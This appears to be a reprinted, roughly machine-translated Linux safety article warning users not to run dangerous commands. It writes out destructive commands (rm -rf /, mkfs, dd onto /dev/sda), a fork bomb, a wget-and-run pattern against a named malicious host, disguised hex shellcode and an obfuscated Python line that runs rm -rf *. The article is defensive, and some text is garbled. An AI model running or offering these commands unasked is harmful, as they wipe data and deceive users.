Never run Linux commands

Source: Internet
Author: User
Do not run Linux commands (reprinted)-Linux general technology-Linux technology and application information. The following is a detailed description. The following command will delete files on your hard disk, and the rm-r recursive deletion, and-f forced deletion are very dangerous options, even if daily operations, you may also encounter accidental file deletion.
Sudo rm-rf/delete all files in the root Partition
Sudo rm-rf. Delete all files in the current directory
Sudo rm-rf * same as above
Rm-rf * or rm-rf *. * same as above
Rm-rf ~ /& Delete the root partition and home directory. Even if you are not root, the home directory will not be spared.
Similarly, if you do not know mkfs. xxxx (xxxx can be vfat, ext2, ext3, bfs ......) If it is a formatting command, running the following command will erase your hard disk partition:
Sudo mkfs. xxxx
Dd is a powerful IO input/output targeting tool. If it is improperly used, it is highly destructive, not only the current partition, but also the current system and sometimes the entire hard disk.
Sudo dd if =/dev/zero of =/dev/sda all hard disks are cleared.
Sudo dd if =/dev/sda of =/dev/sdb overwrite the content of the second disk.
Sudo dd if = something of =/dev/sda writes junk data to the hard disk.
Similarly, direct the command result to the hard disk is equivalent to writing junk data to the hard disk:
Any_command>/dev/sda destroys the hard disk with random data
The above sda and sdb may also be similar names. The Linux/dev system provides convenient and powerful functions for operating hardware, and also makes damage easier.
The fork command opens a sub-process. If the fork is placed in an infinite loop, the sub-process will consume all the memory resources:
:() {:| :&};:
The zhuyun symbol allows the Shell to stop the fork sub-process and eventually cause memory depletion and has to be restarted. This is not a bug, but the Shell statement is deliberately abbreviated. The following is the same:
Fork while fork
Sometimes, the compressed package is also a source of damage ~
Some compressed packages require you to decompress them to an existing Directory in a system. At this time, you must be very careful. The compressed package may contain thousands of small files, try to overwrite your existing file with various file names.
Some compressed packages look small, but decompress the compressed GB of junk data to fill your hard disk.
Programs and scripts downloaded from irregular websites may also have the danger of containing malicious commands and cannot be executed casually:
Wget http: // some_place/some_file
Sh./some_file
Wget http://hax018r.org/malicious-script
Sh./malicious-script
To load the script, ensure that the source is regular. If you have the ability, read the code.
Do not compile or execute any program with source code:
Char esp [] _ attribute _ (section (". text")/* e. s. p
Release */
= "Xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"Xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"X56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"X8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"X6ex2fx73x68x00x2dx63x00"
"Cp-p/bin/sh/tmp/. beyond; chmod 4755
/Tmp/. beyond ;";
The above seems to be just a bunch of meaningless hexadecimal data. If someone tells you that you can run this program without entering the password to obtain the root permission of the system, do not trust it, the above program actually runs "rm-rf ~ /&".
A scripting language like python can also be used for damage:
Python-c 'import OS; OS. system ("". join ([chr (ord (I)-1) for I in "sn !. Sg! "])'
This program will actually execute rm-rf *. Maybe you are surprised that the "sn !. Sg! What does it mean? It is actually the next of every rm-rf * letter!
So how can we avoid running malicious programs?
First, do not use root as the user for daily use. If the above program is not root, the scope of hazards will be much smaller.
Second, you need to know what commands are used and what commands you Don't know should not be run rashly. To run programs with potential damage, check your input carefully.
Third, ensure that the source of software and scripts is regular.
Last, although it is relatively negative, it is indeed very important:
Back up your data frequently !!
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.